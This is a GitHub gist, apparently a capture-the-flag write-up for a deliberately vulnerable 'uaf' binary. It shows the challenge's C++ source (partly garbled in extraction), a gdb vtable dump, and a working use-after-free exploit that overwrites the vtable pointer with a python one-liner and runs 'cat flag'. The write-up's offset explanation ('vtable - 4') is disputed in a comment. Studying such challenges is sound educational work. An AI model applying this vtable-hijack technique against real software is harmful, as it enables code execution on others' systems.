Skip to content

Instantly share code, notes, and snippets.

@ihciah ihciah/README.MD
Last active May 5, 2018

What would you like to do? UAF writeup UAF writeup

First let's review the following code:

#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
        virtual void give_shell(){
        int age;
        string name;
        virtual void introduce(){
                cout << "My name is " << name << endl;
                cout << "I am " << age << " years old" << endl;

class Man: public Human{
        Man(string name, int age){
                this->name = name;
                this->age = age;
        virtual void introduce(){
                cout << "I am a nice guy!" << endl;

class Woman: public Human{
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        virtual void introduce(){
                cout << "I am a cute girl!" << endl;

int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);

        size_t len;
        char* data;
        unsigned int op;
                cout << "1. use\n2. after\n3. free\n";
                cin >> op;

                        case 1:
                        case 2:
                                len = atoi(argv[1]);
                                data = new char[len];
                                read(open(argv[2], O_RDONLY), data, len);
                                cout << "your data is allocated" << endl;
                        case 3:
                                delete m;
                                delete w;

        return 0;

We can see that if we free and then use, it will cause segmentation fault, because we want to refer a object not exists. So if we use after, it will copy chars whose length is argv[1] from the file argv[2].

How does malloc do its job(Form Here)?

  • For large (>= 512 bytes) requests, it is a pure best-fit allocator, with ties normally decided via FIFO (i.e. least recently used).
  • For small (<= 64 bytes by default) requests, it is a caching allocator, that maintains pools of quickly recycled chunks.
  • In between, and for combinations of large and small requests, it does the best it can trying to meet both goals at once.
  • For very large requests (>= 128KB by default), it relies on system memory mapping facilities, if supported.

In this code, we only need 24bit to save *vtable,age,*name.

First we break at 0x400f18 and run:

RAX: 0x603040 --> 0x401570 --> 0x40117a (<_ZN5Human10give_shellEv>:	push   rbp)
RBX: 0x603040 --> 0x401570 --> 0x40117a (<_ZN5Human10give_shellEv>:	push   rbp)
RCX: 0x7ffff7dd93c0 --> 0x0
RDX: 0x19
RSI: 0x7fffffffea20 --> 0x603028 --> 0x6b63614a ('Jack')
RDI: 0x7ffff7dd93c0 --> 0x0
RBP: 0x7fffffffea70 --> 0x0
RSP: 0x7fffffffea10 --> 0x7fffffffeb58 --> 0x7fffffffed86 ("/home/c/ctf/uaf")
RIP: 0x400f18 (<main+84>:	mov    QWORD PTR [rbp-0x38],rbx)
R8 : 0x0
R9 : 0x2
R10: 0x7fffffffe790 --> 0x0
R11: 0x7ffff7b91470 (<_ZNSs6assignERKSs>:	push   rbp)
R12: 0x7fffffffea20 --> 0x603028 --> 0x6b63614a ('Jack')
R13: 0x7fffffffeb50 --> 0x1
R14: 0x0
R15: 0x0

The vtable of Man is at 0x401570.x/3x 0x401570:

0x401570 <_ZTV3Man+16>:	0x000000000040117a	0x00000000004012d2
0x401580 <_ZTV5Human>:	0x0000000000000000

The 0x000000000040117a is give_shell, and the 0x00000000004012d2 is introduce of Man.

So we will apply for space and write something to let the introduce be give_shell. When we call introduce, it will call *vtable + x. If addr + 4 == *vtable + 0(give_shell), the addr must equals *vtable - 4 which is 0x401568.

And the code will be:

python -c 'print ("\x68\x15\x40\x00\x00\x00\x00\x00")' > /tmp/ihcuaf
./uaf 8 /tmp/ihcuaf
3 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 1
cat flag


Using 8 is not a correct way. It success only beacuse 24 is less than 32, apply for 8 will be given 32 too.

If some more attributes be added to class, it will not give you the freed block if you apply for 8.

python -c 'print ("\x68\x15\x40\x00\x00\x00\x00\x00")' > /tmp/ihcuaf
./uaf 24 /tmp/ihcuaf
3 2 2 1
cat flag

This comment has been minimized.

Copy link

commented Mar 4, 2017

the addr must equals *vtable - 4 which is 0x401568.

don't you mean *vtable - 0x8 since it's 64 bit


This comment has been minimized.

Copy link

commented May 5, 2018

Please explain, why does 3 2 2 1 work and why 3 2 1 does not?
I've also found, that it will spawn a shell twice, one for m->introduce() and one for w->introduce(). Why is it? Why we need to overwrite both of them to work? Even if we left w's vpt pointer the way it was, calling m->introduce() should trigger the exploit, but it does not. Inspecting with GDB revealed that the first reading does not overwrite m's vpt pointer. Why?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.